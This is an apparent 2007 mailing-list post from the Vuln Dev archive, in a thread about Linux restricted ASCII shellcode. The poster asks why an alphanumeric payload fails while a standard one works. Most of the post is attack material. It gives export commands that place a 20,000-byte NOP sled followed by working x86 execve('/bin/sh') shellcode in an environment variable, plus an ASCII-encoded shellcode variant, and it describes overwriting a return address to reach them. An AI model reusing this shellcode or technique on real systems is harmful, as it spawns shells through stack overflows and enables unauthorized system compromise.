Vuln Dev
Re: Re: Linux restricted ASCII Shellcode Apr 19 2007 06:39PM
nonexistant nospam org (2 replies)
I'm exploiting the stack overflow inserting the shellcode in a environment variable:

export SHELLCODE=`perl -e 'print "\x90"x20000'``perl -e 'print "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf
3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xf
f\xff\xff/bin/sh"'`

And then overwriting de RET address to point somewhere in the NOP section of "SHELLCODE". Pretty simple.
That works perfectly.

But if I try with this environment variable:

export SHELLCODE=`perl -e 'print "\x90"x20000'``perl -e 'print "LLLLZhmeqrX5meqrHTVPPWRPPaQVRSPGWDOfhAMfXf5ECfPDVUajcX0Dob0TodjdY0Lohfh
mNfXf1Dol0topjYY0Loq0toq0totjJX0Dou0tou0TovjFX0Dow0towjhXfRhnKshhBabivER
SvT29"'`

This do not work. I have tryed with many different ASCII shellcodes all of them ripped from examples in C style.
What I'm doing wrong?

[ reply ]
Re: Re: Linux restricted ASCII Shellcode Apr 23 2007 01:13PM
RaiSe (raise enye-sec org)
Re: Linux restricted ASCII Shellcode Apr 21 2007 12:04AM
Deian Stefan (deianstefan gmail com)


 

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